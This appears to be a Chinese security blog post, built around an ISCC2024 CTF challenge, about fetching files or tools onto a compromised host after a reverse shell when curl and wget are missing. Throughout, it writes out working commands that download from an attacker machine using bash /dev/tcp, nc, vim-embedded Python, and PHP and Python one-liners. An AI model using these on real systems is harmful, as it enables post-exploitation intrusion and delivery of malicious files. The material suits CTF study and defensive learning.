Miracle
文章8
标签4
分类4

文章分类

文章归档

无curl、wget下的环境来访问下载工具

无curl、wget下的环境来访问下载工具

记录一下无curl、wget下的环境来访问下载工具的小技巧。

​ 最早是ISCC2024中的一道Web题《掉进阿帕奇的工资》,这道题前面就是简单的逻辑漏洞登录,登陆后存在一个异或执行命令的地方,顺利反弹shell后由于他是一个阉割版的docker,flag藏在内网中的一个服务,需要构造请求访问其路由/flag。但是问题就是容器里面没有curl、wget、nc等命令,那么该如何请求呢?

​ 前几天大哥向我们分享了一次实战挖洞的经历,在最后反弹shell后也是遇到了类似的问题,想向shell里面传工具的时候遇到了问题,无curl和wget。

​ 这两次的经历也是促使我把这个技巧来总结一下。

一、使用cat

​ cat命令是Linux中最常用的命令之一,主要用于读取文件并将其内容显示到标准输出。使用cat下载文件的操作如下:

攻击端:开放发送端口

1
2
cat flag.txt | nc -lvp 7777 或
nc -lvp 7777 < flag.txt

只要开一个文件的传输文件的端口就行

受害者链接:

1
cat < /dev/tcp/192.168.20.129/7777 >flag.txt

这样即可建立tcp连接读取并保存文件

注:/dev/tcp是bash提供的,使用前要看看shell

二、使用nc

方式一:先启动接收命令

先在受害主机(192.168.20.141)上启动一个接收文件的监听:

1
nc -l 3232>flag.txt

而后在攻击机上往受害主机的3232端口发送数据,把恶意文件发送过去:

1
nc 192.168.20.129 3232< flag.txt

方式二:先启动发送命令

先在攻击机(192.168.20.129)上启动发送文件命令:

1
nc -l 6666 < flag.txt

而后受害主机连接攻击机,接收恶意文件:

1
nc 192.168.20.129 6666 > flag.txt

三、使用vim

vim是从 vi 发展出来的一个文本编辑器,功能齐全且使用简单,受到广大用户的喜爱。在受害主机执行以下命令实现vim远程下载:

1
2
3
4
5
6
7
8
9
vim -c ‘:py import vim,sys;

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(“http://192.168.20.129:80/flag.txt”, “flag.txt”)

vim.command(“:q!”)’

四、使用各种编程语言下载

例如上述的iscc的这道题,可以使用php -r来执行php代码来获取flag

PHP payload:

1
php -r ‘$c=file_get_contents(“http://192.168.20.129/flag.txt”);file_put_contents(“flag.txt”, $c);’

Python payload:

1
python -c “import urllib2;open(‘evil_file.sh’,’wb’).write(urllib2.urlopen(‘http://192.168.20.129/flag.txt’).read())”。

五、其他方法

对于上面的iscc这道题,当时看wp还有一种nb的方法,用的是bash中的exec命令:

1
exec 4<> /dev/tcp/secret.host/80 && echo -e 'GET /flag HTTP/1.0\n' 1>& 4 && cat 0<& 4

先打开一个到 secret.host 80 端口的 TCP 连接,并将其关联到文件描述符 4,再将标准输出重定向到文件描述符 4。这样,GET 请求将被发送到已经打开的 TCP 连接,之后再cat读取文件描述符4即可得到flag.

这方法确实挺惊艳的,看来得再好好学习一下linux中的文件描述符及相关知识了